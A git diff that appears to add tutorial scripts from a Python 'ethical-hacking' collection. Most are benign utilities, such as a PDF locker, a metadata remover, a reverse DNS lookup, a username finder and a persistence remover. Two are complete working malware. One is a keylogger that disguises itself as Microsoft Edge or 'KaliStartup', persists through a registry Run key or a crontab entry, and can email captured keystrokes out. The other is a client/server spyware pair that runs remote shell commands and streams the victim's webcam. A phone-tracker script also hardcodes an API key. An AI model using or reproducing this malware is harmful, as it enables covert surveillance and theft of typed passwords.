--- a/ethical-hacking/pdf-cracker/pdf_cracker.py +++ b/ethical-hacking/pdf-cracker/pdf_cracker.py @@ -12,6 +12,6 @@ # Password decrypted successfully, break out of the loop print("[+] Password found:", password) break - except pikepdf._qpdf.PasswordError as e: + except pikepdf._core.PasswordError as e: # wrong password, just continue in the loop continue diff --git a/ethical-hacking/pdf-locker/README.md b/ethical-hacking/pdf-locker/README.md new file mode 100644 index 00000000..26db7776 --- /dev/null +++ b/ethical-hacking/pdf-locker/README.md @@ -0,0 +1 @@ +# [How to Lock PDFs in Python](https://thepythoncode.com/article/lock-pdfs-in-python) \ No newline at end of file diff --git a/ethical-hacking/pdf-locker/pdf_locker.py b/ethical-hacking/pdf-locker/pdf_locker.py new file mode 100644 index 00000000..9f92c704 --- /dev/null +++ b/ethical-hacking/pdf-locker/pdf_locker.py @@ -0,0 +1,39 @@ +# Import the necessary libraries +import PyPDF2, getpass # getpass is for getting password with some level of security +from colorama import Fore, init + +# Initialize colorama for colored output +init() + + +# Function to lock pdf +def lock_pdf(input_file, password): + with open(input_file, 'rb') as file: + # Create a PDF reader object + pdf_reader = PyPDF2.PdfReader(file) + + # Create a PDF writer object + pdf_writer = PyPDF2.PdfWriter() + + # Add all pages to the writer + for page_num in range(len(pdf_reader.pages)): + pdf_writer.add_page(pdf_reader.pages[page_num]) + + # Encrypt the PDF with the provided password + pdf_writer.encrypt(password) + + # Write the encrypted content back to the original file + with open(input_file, 'wb') as output_file: + pdf_writer.write(output_file) + + +# Get user input +input_pdf = input("Enter the path to the PDF file: ") +password = getpass.getpass("Enter the password to lock the PDF: ") + +# Lock the PDF using PyPDF2 +print(f'{Fore.GREEN}[!] Please hold on for a few seconds..') +lock_pdf(input_pdf, password) + +# Let the user know it's done +print(f"{Fore.GREEN}[+] PDF locked successfully.") diff --git a/ethical-hacking/pdf-locker/requirements.txt b/ethical-hacking/pdf-locker/requirements.txt new file mode 100644 index 00000000..d2ff42de --- /dev/null +++ b/ethical-hacking/pdf-locker/requirements.txt @@ -0,0 +1,2 @@ +PyPDF2 +colorama \ No newline at end of file diff --git a/ethical-hacking/pdf-metadata-remover/README.md b/ethical-hacking/pdf-metadata-remover/README.md new file mode 100644 index 00000000..2eba5916 --- /dev/null +++ b/ethical-hacking/pdf-metadata-remover/README.md @@ -0,0 +1 @@ +# [How to Remove Metadata from PDFs in Python](https://thepythoncode.com/article/how-to-remove-metadata-from-pdfs-in-python) \ No newline at end of file diff --git a/ethical-hacking/pdf-metadata-remover/remove_pdf_metadata.py b/ethical-hacking/pdf-metadata-remover/remove_pdf_metadata.py new file mode 100644 index 00000000..dd801d59 --- /dev/null +++ b/ethical-hacking/pdf-metadata-remover/remove_pdf_metadata.py @@ -0,0 +1,33 @@ +import PyPDF2 + +def remove_metadata(pdf_file): + # Open the PDF file. + with open(pdf_file, 'rb') as file: + reader = PyPDF2.PdfReader(file) + + # Check if metadata exists. + if reader.metadata is not None: + print("Metadata found in the PDF file.") + + # Create a new PDF file without metadata. + writer = PyPDF2.PdfWriter() + + # Copy pages from the original PDF to the new PDF. + for page_num in range(len(reader.pages)): + page = reader.pages[page_num] + writer.add_page(page) + + # Open a new file to write the PDF without metadata. + new_pdf_file = f"{pdf_file.split('.')[0]}_no_metadata.pdf" + with open(new_pdf_file, 'wb') as output_file: + writer.write(output_file) + + print(f"PDF file without metadata saved as '{new_pdf_file}'.") + else: + print("No metadata found in the PDF file.") + +# Specify the path to your PDF file. +pdf_file_path = "EEE415PQ.pdf" + +# Call the function to remove metadata. +remove_metadata(pdf_file_path) \ No newline at end of file diff --git a/ethical-hacking/pdf-metadata-remover/requirements.txt b/ethical-hacking/pdf-metadata-remover/requirements.txt new file mode 100644 index 00000000..77e8be78 --- /dev/null +++ b/ethical-hacking/pdf-metadata-remover/requirements.txt @@ -0,0 +1 @@ +PyPDF2==3.0.1 \ No newline at end of file diff --git a/ethical-hacking/persistent-malware/README.md b/ethical-hacking/persistent-malware/README.md new file mode 100644 index 00000000..8df17579 --- /dev/null +++ b/ethical-hacking/persistent-malware/README.md @@ -0,0 +1 @@ +# [How to Make Malware Persistent in Python](https://thepythoncode.com/article/how-to-create-malware-persistent-in-python) \ No newline at end of file diff --git a/ethical-hacking/persistent-malware/keylogger_persistent.py b/ethical-hacking/persistent-malware/keylogger_persistent.py new file mode 100644 index 00000000..1ec8c2f4 --- /dev/null +++ b/ethical-hacking/persistent-malware/keylogger_persistent.py @@ -0,0 +1,137 @@ +import keyboard # for keylogs +import smtplib # for sending email using SMTP protocol (gmail) +from threading import Timer +from datetime import datetime +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText +import os, shutil, subprocess, platform, sys +from sys import executable + +SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on +EMAIL_ADDRESS = "email@provider.tld" +EMAIL_PASSWORD = "password_here" + +def setup_persistence(): + """This function sets up persistence (runs automatically at startup) of this executable. + On Linux, it uses crontab to create a cron job that runs this script at reboot. + On Windows, it uses the Windows Registry to add a key that runs this script at startup. + Note that this will only work if the script is bundled as an executable using PyInstaller on Windows. + On Linux, it will work with the script itself or the executable.""" + os_type = platform.system() + if os_type == "Windows": + location = os.environ['appdata'] + "\\MicrosoftEdgeLauncher.exe" # Disguise the keylogger as Microsoft Edge + if not os.path.exists(location): + shutil.copyfile(executable, location) + subprocess.call(f'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdge /t REG_SZ /d "{location}" ', shell=True) + elif os_type == "Linux": + location = os.path.expanduser('~') + "/.config/KaliStartup" + if not os.path.exists(location): + # Create the autostart directory if it doesn't exist + os.makedirs(location) + filename = os.path.join(location, "KaliStartup") + # Copy the keylogger to that new location + shutil.copyfile(sys.executable, filename) + # Add the keylogger to startup via crontab + crontab_line = f"@reboot {filename}" + os.system(f'(crontab -l; echo "{crontab_line}") | crontab -') + +# Run the setup_persistence function +setup_persistence() + +class Keylogger: + def __init__(self, interval, report_method="email"): + """Initialize the keylogger with the specified interval for sending reports and the method of reporting.""" + self.interval = interval + self.report_method = report_method + self.log = "" + self.start_dt = datetime.now() + self.end_dt = datetime.now() + + def callback(self, event): + """Handle a keyboard event by logging the keystroke.""" + name = event.name + if len(name) > 1: + if name == "space": + name = " " + elif name == "enter": + name = "[ENTER]\n" + elif name == "decimal": + name = "." + else: + name = name.replace(" ", "_") + name = f"[{name.upper()}]" + self.log += name + + def update_filename(self): + """Update the filename for the log file based on the current date and time.""" + start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") + end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") + self.filename = f"keylog-{start_dt_str}_{end_dt_str}" + + def report_to_file(self): + """This method creates a log file in the specified directory that contains + the current keylogs in the `self.log` variable""" + os_type = platform.system() + if os_type == "Windows": + log_dir = os.path.join(os.environ['USERPROFILE'], 'Documents', 'KeyloggerLogs') + elif os_type == "Linux": + log_dir = os.path.join(os.path.expanduser("~"), 'Documents', 'KeyloggerLogs') + # create a directory for the logs + if not os.path.exists(log_dir): + os.makedirs(log_dir) + log_file = os.path.join(log_dir, f"{self.filename}.txt") + # write the logs to a file + with open(log_file, "w") as f: + print(self.log, file=f) + print(f"[+] Saved {log_file}") + + def prepare_mail(self, message): + """Prepare an email message with both text and HTML versions.""" + msg = MIMEMultipart("alternative") + msg["From"] = EMAIL_ADDRESS + msg["To"] = EMAIL_ADDRESS + msg["Subject"] = "Keylogger logs" + html = f"

{message}

" + text_part = MIMEText(message, "plain") + html_part = MIMEText(html, "html") + msg.attach(text_part) + msg.attach(html_part) + return msg.as_string() + + def sendmail(self, email, password, message, verbose=1): + """Send an email using SMTP with the logged keystrokes.""" + server = smtplib.SMTP(host="smtp.office365.com", port=587) + server.starttls() + server.login(email, password) + server.sendmail(email, email, self.prepare_mail(message)) + server.quit() + if verbose: + print(f"{datetime.now()} - Sent an email to {email} containing: {message}") + + def report(self): + """Report the captured keystrokes either by email or by saving to a file.""" + if self.log: + self.end_dt = datetime.now() + self.update_filename() + if self.report_method == "email": + self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) + elif self.report_method == "file": + self.report_to_file() + self.start_dt = datetime.now() + self.log = "" + timer = Timer(interval=self.interval, function=self.report) + timer.daemon = True + timer.start() + + def start(self): + """Start the keylogger.""" + self.start_dt = datetime.now() + keyboard.on_release(callback=self.callback) + self.report() + print(f"{datetime.now()} - Started keylogger") + keyboard.wait() + + +if __name__ == "__main__": + keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") + keylogger.start() diff --git a/ethical-hacking/persistent-malware/requirements.txt b/ethical-hacking/persistent-malware/requirements.txt new file mode 100644 index 00000000..c2539834 --- /dev/null +++ b/ethical-hacking/persistent-malware/requirements.txt @@ -0,0 +1 @@ +keyboard diff --git a/ethical-hacking/phone-number-tracker/README.md b/ethical-hacking/phone-number-tracker/README.md new file mode 100644 index 00000000..7a5b80e2 --- /dev/null +++ b/ethical-hacking/phone-number-tracker/README.md @@ -0,0 +1 @@ +# [How to Make a Phone Number Tracker in Python](https://thepythoncode.com/article/phone-number-tracker-in-python) \ No newline at end of file diff --git a/ethical-hacking/phone-number-tracker/phone_number_tracker.py b/ethical-hacking/phone-number-tracker/phone_number_tracker.py new file mode 100644 index 00000000..acd1b6e3 --- /dev/null +++ b/ethical-hacking/phone-number-tracker/phone_number_tracker.py @@ -0,0 +1,149 @@ +import phonenumbers, sys, folium, os, argparse +from colorama import init, Fore +from phonenumbers import geocoder, timezone, carrier +init() + + +def process_number(number): + try: + global location + + # Parse the phone number. See this as extracting relevant information from the Phone number. + parsed_number = phonenumbers.parse(number) + + '''Display a message indicating the tracking attempt. We'll also format the parsed number to the + international format.''' + + print(f"{Fore.GREEN}[+] Attempting to track location of " + f"{phonenumbers.format_number(parsed_number, phonenumbers.PhoneNumberFormat.INTERNATIONAL)}..") + + # Get and display the time zone ID + print(f"{Fore.GREEN}[+] Time Zone ID: {timezone.time_zones_for_number(parsed_number)}") + + # Get the geographic location of the Phone number and display it. + location = geocoder.description_for_number(parsed_number, "en") + if location: + print(f"{Fore.GREEN}[+] Region: {location}") + else: + print(f"{Fore.RED}[-] Region: Unknown") + + '''Get the service provider (carrier) and display it if available. Some businesses and + organizations do not use public service providers. So you may not see the carrier in that case.''' + + if carrier.name_for_number(parsed_number, 'en'): + print(f"{Fore.GREEN}[+] Service Provider: {carrier.name_for_number(parsed_number, 'en')}") + else: + pass + + # Handle exceptions, such as invalid phone numbers or connectivity issues. + except Exception: + print(f"{Fore.RED}[-] Please specify a valid phone number (with country code)" + " or check your internet connection.") + sys.exit() + +def get_approx_coordinates(): + # Import the OpenCageGeocode class from the opencage.geocoder module + from opencage.geocoder import OpenCageGeocode + + global coder, latitude, longitude + + # Try to execute the following block, and handle exceptions if they occur. + try: + # Create an instance of the OpenCageGeocode class with your API key. + coder = OpenCageGeocode("42c84373c47e490ba410d4132ae64fc4") + + query = location + + # Perform a geocoding query to obtain results. + results = coder.geocode(query) + + # Extract latitude and longitude from the geocoding results. These are the coordinates of the number's location. + latitude = results[0]['geometry']['lat'] + longitude = results[0]['geometry']['lng'] + + # Print the obtained latitude and longitude. + print(f"[+] Latitude: {latitude}, Longitude: {longitude}") + + # Perform a reverse geocoding query to obtain an address based on coordinates. + address = coder.reverse_geocode(latitude, longitude) + + # Check if an address was found. + if address: + address = address[0]['formatted'] + print(f"{Fore.LIGHTRED_EX}[+] Approximate Location is {address}") + else: + # If no address was found, print an error message. + print(f"{Fore.RED}[-] No address found for the given coordinates.") + except Exception: + '''Handle exceptions by printing an error message and exiting the script. This would prevent the program from + crashing''' + + print(f"{Fore.RED}[-] Could not get the location of this number. Please specify a valid phone number or " + "check your internet connection.") + sys.exit() + +# This function basically removes unwanted characters from the Phone number such as white spaces. +def clean_phone_number(phone_number): + cleaned = ''.join(char for part in phone_number for char in part if char.isdigit() or char == '+') + return cleaned or "unknown" + +# Function to see Aerial view of the person's location. +def draw_map(): + try: + # Create a Folium map centered around the latitude and longitude of the number's coordinates. + my_map = folium.Map(location=[latitude, longitude], zoom_start=9) + + # Add a marker to the map at the specified latitude and longitude with a popup displaying the 'location' variable. + folium.Marker([latitude, longitude], popup=location).add_to(my_map) + + ''' Clean the phone number and use it to generate a file name with an '.html' extension + we'll basically save each map with the number of the owner for easy identification.''' + + cleaned_phone_number = clean_phone_number(args.phone_number) # We'll see 'args' soon. + file_name = f"{cleaned_phone_number}.html" + + # Save the map as an HTML file with the generated file name. + my_map.save(file_name) + + # Print a message indicating where the saved HTML file can be found. + print(f"[+] See Aerial Coverage at: {os.path.abspath(file_name)}") + + # Handle the 'NameError' exception, which can occur if the 'latitude' or 'longitude' variables are not defined. + except NameError: + print(f"{Fore.RED}[-] Could not get Aerial coverage for this number. Please check the number again.") + + +# Function to handle command-line arguments. +def cli_argument(): + # Create an ArgumentParser object and specify a description. + parser = argparse.ArgumentParser(description="Get approximate location of a Phone number.") + + # Define a command-line argument: -p or --phone. This is to receive the user's number from terminal. + parser.add_argument("-p", "--phone", dest="phone_number", type=str, + help="Phone number to track. Please include the country code when specifying the number.", + required=True, nargs="+") + + # Parse the command-line arguments. + argument = parser.parse_args() + + # Check if the 'phone_number' argument is not provided. + if not argument.phone_number: + # Print an error message indicating that the phone number is required. + print(f"{Fore.RED}[-] Please specify the phone number to track (including country code)." + " Use --help to see usage.") + + # Exit the script. + sys.exit() + + # Return the parsed command-line arguments. + return argument + +# Parse command-line arguments using the 'cli_argument' function. +args = cli_argument() + +# Call the process_number function and pass the phone number as a single string. +process_number("".join(args.phone_number)) +get_approx_coordinates() +draw_map() + + diff --git a/ethical-hacking/phone-number-tracker/requirements.txt b/ethical-hacking/phone-number-tracker/requirements.txt new file mode 100644 index 00000000..b1598993 --- /dev/null +++ b/ethical-hacking/phone-number-tracker/requirements.txt @@ -0,0 +1,4 @@ +phonenumbers +folium +colorama +opencage \ No newline at end of file diff --git a/ethical-hacking/remove-persistent-malware/README.md b/ethical-hacking/remove-persistent-malware/README.md new file mode 100644 index 00000000..6145b698 --- /dev/null +++ b/ethical-hacking/remove-persistent-malware/README.md @@ -0,0 +1 @@ +# [How to Remove Persistent Malware in Python](https://thepythoncode.com/article/removingg-persistent-malware-in-python) \ No newline at end of file diff --git a/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py b/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py new file mode 100644 index 00000000..88ba4f7e --- /dev/null +++ b/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py @@ -0,0 +1,118 @@ +import os +import platform +import subprocess +import tempfile + +# Windows-specific imports +if platform.system() == "Windows": + import winreg + +# Get Windows start-up entries and display +def list_windows_startup_entries(): + key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run") + entries = [] + try: + i = 0 + while True: + entry_name, entry_value, entry_type = winreg.EnumValue(key, i) + entries.append((i + 1, entry_name, entry_value)) + i += 1 + except OSError: + pass + winreg.CloseKey(key) + return entries + +# Remove Windows start-up entries +def remove_windows_startup_entry(index, entries): + key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE) + try: + entry_name, entry_value = entries[index - 1][1], entries[index - 1][2] + winreg.DeleteValue(key, entry_name) + print(f"[+] Entry {entry_name} has been removed successfully.") + + if os.path.isfile(entry_value): + os.remove(entry_value) + print(f"[+] File '{entry_value}' has been deleted successfully.") + else: + print(f"[-] File '{entry_value}' not found or unable to delete.") + except IndexError: + print("[-] Invalid entry index.") + except OSError as e: + print(f"[-] Error removing entry: {e}") + finally: + winreg.CloseKey(key) + +# Get the cron tab entries +def list_linux_crontab_entries(): + try: + output = subprocess.check_output(["crontab", "-l"], stderr=subprocess.STDOUT).decode('utf-8').strip() + if output: + entries = output.split("\n") + return [(i + 1, entry) for i, entry in enumerate(entries)] + else: + return [] + except subprocess.CalledProcessError as e: + if "no crontab" in e.output.decode('utf-8'): + return [] + else: + raise + +def remove_linux_crontab_entry(index, entries): + try: + entry = entries[index - 1][1] + all_entries = [e[1] for e in entries if e[1] != entry] + + with tempfile.NamedTemporaryFile(delete=False) as tmp_file: + tmp_file.write("\n".join(all_entries).encode('utf-8')) + tmp_file.write(b"\n") + tmp_file_path = tmp_file.name + + subprocess.check_output(["crontab", tmp_file_path], stderr=subprocess.STDOUT) + os.unlink(tmp_file_path) + print(f"[+] Entry '{entry}' has been removed successfully.") + except IndexError: + print("[-] Invalid entry index.") + except Exception as e: + print(f"[-] Error removing crontab entry: {e}") + +def main(): + os_name = platform.system() + if os_name == "Windows": + entries = list_windows_startup_entries() + if not entries: + print("[-] No startup entries found.") + else: + print("[+] Startup entries:") + for index, name, value in entries: + print(f"{index}. {name}: {value}") + + print("\n") + choice = int(input("[!] Enter the number of the entry you want to remove (0 to exit): ")) + if choice == 0: + return + elif 0 < choice <= len(entries): + remove_windows_startup_entry(choice, entries) + else: + print("[-] Invalid choice.") + elif os_name == "Linux": + entries = list_linux_crontab_entries() + if not entries: + print("[-] No crontab entries found.") + else: + print("[+] Crontab entries:") + for index, entry in entries: + print(f"{index}. {entry}") + + print("\n") + choice = int(input("[!] Enter the number of the entry you want to remove (0 to exit): ")) + if choice == 0: + return + elif 0 < choice <= len(entries): + remove_linux_crontab_entry(choice, entries) + else: + print("[-] Invalid choice.") + else: + print(f"[-] Unsupported operating system: {os_name}") + +if __name__ == "__main__": + main() diff --git a/ethical-hacking/reverse-dns-lookup/README.md b/ethical-hacking/reverse-dns-lookup/README.md new file mode 100644 index 00000000..e2aa69a3 --- /dev/null +++ b/ethical-hacking/reverse-dns-lookup/README.md @@ -0,0 +1 @@ +# [How to Perform Reverse DNS Lookups Using Python](https://thepythoncode.com/article/reverse-dns-lookup-with-python) \ No newline at end of file diff --git a/ethical-hacking/reverse-dns-lookup/requirements.txt b/ethical-hacking/reverse-dns-lookup/requirements.txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/ethical-hacking/reverse-dns-lookup/requirements.txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/ethical-hacking/reverse-dns-lookup/reverse_lookup.py b/ethical-hacking/reverse-dns-lookup/reverse_lookup.py new file mode 100644 index 00000000..449f79d0 --- /dev/null +++ b/ethical-hacking/reverse-dns-lookup/reverse_lookup.py @@ -0,0 +1,69 @@ +# Import the necessary libraries +import argparse +import ipaddress +import socket +import requests + +API_KEY = "Your-Api-Key-Here" # Replace with your ViewDNS API key + +# Function to Check if IP address is valid. +def is_valid_ip(ip): + + try: + ipaddress.ip_address(ip) + return True + except ValueError: + return False + + +# Perform reverse look up. +def reverse_lookup(ip): + try: + domain = socket.gethostbyaddr(ip)[0] + return domain + except socket.herror: + return None + + +# Get websites on same server. +def get_websites_on_server(ip): + url = f"https://api.viewdns.info/reverseip/?host={ip}&apikey={API_KEY}&output=json" + response = requests.get(url) + if response.status_code == 200: + data = response.json() + if "response" in data and "domains" in data["response"]: + websites = data["response"]["domains"] + return websites + return [] + + +# Get user arguments and execute. +def main(): + parser = argparse.ArgumentParser(description="Perform IP reverse lookup.") + parser.add_argument("ips", nargs="+", help="IP address(es) to perform reverse lookup on.") + parser.add_argument("--all", "-a", action="https://github.com/store_true", help="Print all other websites on the same server.") + args = parser.parse_args() + + for ip in args.ips: + if not is_valid_ip(ip): + print(f"[-] Invalid IP address: {ip}") + continue + + domain = reverse_lookup(ip) + if domain: + print(f"[+] IP: {ip}, Domain: {domain}") + if args.all: + websites = get_websites_on_server(ip) + if websites: + print("\nOther websites on the same server:") + for website in websites: + print(f"[+] {website}") + print('\n') + else: + print("[-] No other websites found on the same server.") + else: + print(f"[-] No domain found for IP: {ip}") + + +if __name__ == "__main__": + main() diff --git a/ethical-hacking/spyware/README.md b/ethical-hacking/spyware/README.md new file mode 100644 index 00000000..9c2520c9 --- /dev/null +++ b/ethical-hacking/spyware/README.md @@ -0,0 +1 @@ +# [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python) \ No newline at end of file diff --git a/ethical-hacking/spyware/client.py b/ethical-hacking/spyware/client.py new file mode 100644 index 00000000..d36eca07 --- /dev/null +++ b/ethical-hacking/spyware/client.py @@ -0,0 +1,64 @@ +import socket # For network (client-server) communication. +import os # For handling os executions. +import subprocess # For executing system commands. +import cv2 # For recording the video. +import threading # For recording the video in a different thread. +import platform # We use this to get the os of the target (client). + +SERVER_HOST = "127.0.0.1" # Server's IP address +SERVER_PORT = 4000 +BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, you can adjust this. + +# Separator string for sending 2 messages at a time. +SEPARATOR = "" + +# Create the socket object. +s = socket.socket() +# Connect to the server. +s.connect((SERVER_HOST, SERVER_PORT)) + +# Get the current directory and os and send it to the server. +cwd = os.getcwd() +targets_os = platform.system() +s.send(cwd.encode()) +s.send(targets_os.encode()) + +# Function to record and send the video. +def record_video(): + global cap + cap = cv2.VideoCapture(0) + while True: + ret, frame = cap.read() + if not ret: + break + _, frame_bytes = cv2.imencode('.jpg', frame) + frame_size = len(frame_bytes) + s.sendall(frame_size.to_bytes(4, byteorder='little')) + s.sendall(frame_bytes) + cap.release() + cv2.destroyAllWindows() + +while True: + # receive the command from the server. + command = s.recv(BUFFER_SIZE).decode() + splited_command = command.split() + if command.lower() == "exit": + # if the command is exit, just break out of the loop. + break + elif command.lower() == "start": + # Start recording video in a separate thread + recording_thread = threading.Thread(target=record_video) + recording_thread.start() + output = "Video recording started." + print(output) + else: + # execute the command and retrieve the results. + output = subprocess.getoutput(command) + # get the current working directory as output. + cwd = os.getcwd() + # send the results back to the server. + message = f"{output}{SEPARATOR}{cwd}" + s.send(message.encode()) + +# close client connection. +s.close() \ No newline at end of file diff --git a/ethical-hacking/spyware/requirements.txt b/ethical-hacking/spyware/requirements.txt new file mode 100644 index 00000000..fc4586c8 --- /dev/null +++ b/ethical-hacking/spyware/requirements.txt @@ -0,0 +1,2 @@ +numpy +opencv-python \ No newline at end of file diff --git a/ethical-hacking/spyware/server_side.py b/ethical-hacking/spyware/server_side.py new file mode 100644 index 00000000..219e2319 --- /dev/null +++ b/ethical-hacking/spyware/server_side.py @@ -0,0 +1,115 @@ +import socket # For network (client-server) communication. +import cv2 # For video recording. +import signal # For handling the ctrl+c command when exiting the program. +import threading # For running the video recording in a seperate thread. +import numpy as np # For working with video frames. + + +# SERVER_HOST = "0.0.0.0" # Bind the server to all available network interfaces. +# or if you want to test it locally, use 127.0.0.1 +SERVER_HOST = "127.0.0.1" +SERVER_PORT = 4000 +BUFFER_SIZE = 1024 * 128 # 128KB max size of messages. You can adjust this to your taste + +# Separator string for sending 2 messages at a time +SEPARATOR = "" + +# Create the socket object. +s = socket.socket() +# Bind the socket to all IP addresses of this host. +s.bind((SERVER_HOST, SERVER_PORT)) +# Make the PORT reusable +s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +# Set maximum number of queued connections to 5. +s.listen(5) +print(f"Listening as {SERVER_HOST} on port {SERVER_PORT} ...") + +# Accept any connections attempted. +client_socket, client_address = s.accept() +print(f"{client_address[0]}:{client_address[1]} Connected!") + +# Receive the current working directory and os of the target (client). +cwd = client_socket.recv(BUFFER_SIZE).decode() +targets_os = client_socket.recv(BUFFER_SIZE).decode() + +# Print the info received. +print("[+] Current working directory: ", cwd) +print("[+] Target's Operating system: ", targets_os) + +# Set up the video capture and writer. +cap = None +out = None +recording_thread = None + +# Function to handle Ctrl+C signal. +def signal_handler(sig, frame): + print('Saving video and exiting...') + if recording_thread is not None: + recording_thread.join() + if cap is not None and out is not None: + cap.release() + out.release() + cv2.destroyAllWindows() + client_socket.close() + s.close() + exit(0) + +# Set up the signal handler. +signal.signal(signal.SIGINT, signal_handler) + +# Function to record and display the video. +def record_video(): + global out + fourcc = cv2.VideoWriter_fourcc(*'mp4v') + out = cv2.VideoWriter('output.mp4', fourcc, 30.0, (640, 480)) + while True: + # Receive the frame size. + frame_size = int.from_bytes(client_socket.recv(4), byteorder='little') + # Receive the frame data. + frame_data = b'' + while len(frame_data) < frame_size: + packet = client_socket.recv(min(BUFFER_SIZE, frame_size - len(frame_data))) + if not packet: + break + frame_data += packet + if not frame_data: + break + # Decode the frame. + frame = cv2.imdecode(np.frombuffer(frame_data, dtype=np.uint8), cv2.IMREAD_COLOR) + # Write the frame to the video file. + out.write(frame) + # Display the frame. + cv2.imshow('Remote Camera Feed', frame) + if cv2.waitKey(1) & 0xFF == ord('q'): + break + out.release() + client_socket.close() + cv2.destroyAllWindows() +while True: + # Get the command from the user. + command = input(f"{cwd} $> ") + if not command.strip(): + # Empty command. + continue + # Send the command to the client. + client_socket.send(command.encode()) + if command.lower() == "exit": + # If the command is exit, just break out of the loop. + break + elif command.lower() == "start": + # Start recording video in a separate thread. + recording_thread = threading.Thread(target=record_video) + recording_thread.start() + output = "Video recording started." + print(output) + else: + # Receive the results from the client. + output = client_socket.recv(BUFFER_SIZE).decode() + results, cwd = output.split(SEPARATOR) + print(results) + +# Close the connection to the client and server. +if recording_thread is not None: + recording_thread.join() +client_socket.close() +s.close() \ No newline at end of file diff --git a/ethical-hacking/username-finder/README.md b/ethical-hacking/username-finder/README.md new file mode 100644 index 00000000..8b0ad5a5 --- /dev/null +++ b/ethical-hacking/username-finder/README.md @@ -0,0 +1 @@ +# [How to Build a Username Search Tool in Python](https://thepythoncode.com/code/social-media-username-finder-in-python) \ No newline at end of file diff --git a/ethical-hacking/username-finder/requirements.txt b/ethical-hacking/username-finder/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/username-finder/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/username-finder/username_finder.py b/ethical-hacking/username-finder/username_finder.py new file mode 100644 index 00000000..8b34f39a --- /dev/null +++ b/ethical-hacking/username-finder/username_finder.py @@ -0,0 +1,108 @@ +# Import necessary libraries +import requests # For making HTTP requests +import argparse # For parsing command line arguments +import concurrent.futures # For concurrent execution +from collections import OrderedDict # For maintaining order of websites +from colorama import init, Fore # For colored terminal output +import time # For handling time-related tasks +import random # For generating random numbers + +# Initialize colorama for colored output. +init() + +# Ordered dictionary of websites to check for a given username. +WEBSITES = OrderedDict([ + ("Instagram", "https://www.instagram.com/%7B%7D"), + ("Facebook", "https://www.facebook.com/%7B%7D"), + ("YouTube", "https://www.youtube.com/user/%7B%7D"), + ("Reddit", "https://www.reddit.com/user/%7B%7D"), + ("GitHub", "https://github.com/%7B%7D"), + ("Twitch", "https://www.twitch.tv/%7B%7D"), + ("Pinterest", "https://www.pinterest.com/%7B%7D/"), + ("TikTok", "https://www.tiktok.com/@%7B%7D"), + ("Flickr", "https://www.flickr.com/photos/%7B%7D") +]) + +REQUEST_DELAY = 2 # Delay in seconds between requests to the same website +MAX_RETRIES = 3 # Maximum number of retries for a failed request +last_request_times = {} # Dictionary to track the last request time for each website + +def check_username(website, username): + """ + Check if the username exists on the given website. + Returns the full URL if the username exists, False otherwise. + """ + url = website.format(username) # Format the URL with the given username + retries = 0 # Initialize retry counter + + # Retry loop + while retries < MAX_RETRIES: + try: + # Implement rate limiting. + current_time = time.time() + if website in last_request_times and current_time - last_request_times[website] < REQUEST_DELAY: + delay = REQUEST_DELAY - (current_time - last_request_times[website]) + time.sleep(delay) # Sleep to maintain the request delay. + + response = requests.get(url) # Make the HTTP request + last_request_times[website] = time.time() # Update the last request time. + + if response.status_code == 200: # Check if the request was successful. + return url + else: + return False + except requests.exceptions.RequestException: + retries += 1 # Increment retry counter on exception. + delay = random.uniform(1, 3) # Random delay between retries. + time.sleep(delay) # Sleep for the delay period. + + return False # Return False if all retries failed. + +def main(): + # Parse command line arguments. + parser = argparse.ArgumentParser(description="Check if a username exists on various websites.") + parser.add_argument("username", help="The username to check.") + parser.add_argument("-o", "--output", help="Path to save the results to a file.") + args = parser.parse_args() + + username = args.username # Username to check. + output_file = args.output # Output file path. + + print(f"Checking for username: {username}") + + results = OrderedDict() # Dictionary to store results. + + # Use ThreadPoolExecutor for concurrent execution. + with concurrent.futures.ThreadPoolExecutor() as executor: + # Submit tasks to the executor. + futures = {executor.submit(check_username, website, username): website_name for website_name, website in WEBSITES.items()} + for future in concurrent.futures.as_completed(futures): + website_name = futures[future] # Get the website name. + try: + result = future.result() # Get the result. + except Exception as exc: + print(f"{website_name} generated an exception: {exc}") + result = False + finally: + results[website_name] = result # Store the result. + + # Print the results. + print("\nResults:") + for website, result in results.items(): + if result: + print(f"{Fore.GREEN}{website}: Found ({result})") + else: + print(f"{Fore.RED}{website}: Not Found") + + # Save results to a file if specified. + if output_file: + with open(output_file, "w") as f: + for website, result in results.items(): + if result: + f.write(f"{website}: Found ({result})\n") + else: + f.write(f"{website}: Not Found\n") + print(f"{Fore.GREEN}\nResults saved to {output_file}") + +# Call the main function +main() diff --git a/ethical-hacking/verify-file-integrity/README.md b/ethical-hacking/verify-file-integrity/README.md new file mode 100644 index 00000000..4d7e313b --- /dev/null +++ b/ethical-hacking/verify-file-integrity/README.md @@ -0,0 +1 @@ +# [How to Verify File Integrity in Python](https://thepythoncode.com/article/verify-downloaded-files-with-checksum-in-python) \ No newline at end of file diff --git a/ethical-hacking/verify-file-integrity/file_integrity_verifier.py b/ethical-hacking/verify-file-integrity/file_integrity_verifier.py new file mode 100644 index 00000000..0c9e31bc --- /dev/null +++ b/ethical-hacking/verify-file-integrity/file_integrity_verifier.py @@ -0,0 +1,63 @@ +# Import necessary libraries. +import argparse, hashlib, sys + +# Import functions init and Fore from the colorama library. +from colorama import init, Fore 